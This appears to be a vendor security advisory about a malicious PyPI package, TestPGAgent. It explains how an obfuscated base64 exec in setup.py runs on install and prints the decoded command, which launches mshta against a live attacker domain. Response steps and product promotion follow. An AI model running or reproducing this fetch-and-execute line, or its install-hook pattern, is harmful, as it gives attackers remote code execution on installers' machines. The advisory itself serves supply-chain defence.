TestPGAgentPyPI
Malicious code in testpgagent (PyPI) Remove it immediately and rotate any exposed credentials.
What this malware does
On pip install, setup.py line 19 calls exec(base64.b64decode(...)) whose decoded body is import os; os.system('cmd /c "mshta http://fixars.top"'). This launches Windows mshta.exe against http://fixars.top over plaintext HTTP, fetching and executing an arbitrary HTML-application payload on the installer's machine. The payload is obfuscated with base64+exec to evade casual inspection. The fetch destination is unrelated to any declared publisher, content is unpinned and mutable, and execution is fully attacker-controlled. Any Windows machine running pip install TestPGAgent==0.2 will execute remote code chosen by whoever controls fixars.top at the moment of install.
During installation, the code attempts to download and start a malicious executable.
Likely related to 2025-08-raknet-testing-package.
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-06-easyaillm
Reasons (based on the campaign):
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Downloads and executes a remote executable.
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obfuscation
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malware
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tool:mshta
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for TestPGAgent (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging TestPGAgent across your stack and pipelines.
If you installed it — respond
TestPGAgent is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If TestPGAgent was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks TestPGAgent before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- Kamil Mańkowski (kam193) · reporter
Detect & block this
O3 blocks TestPGAgent-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.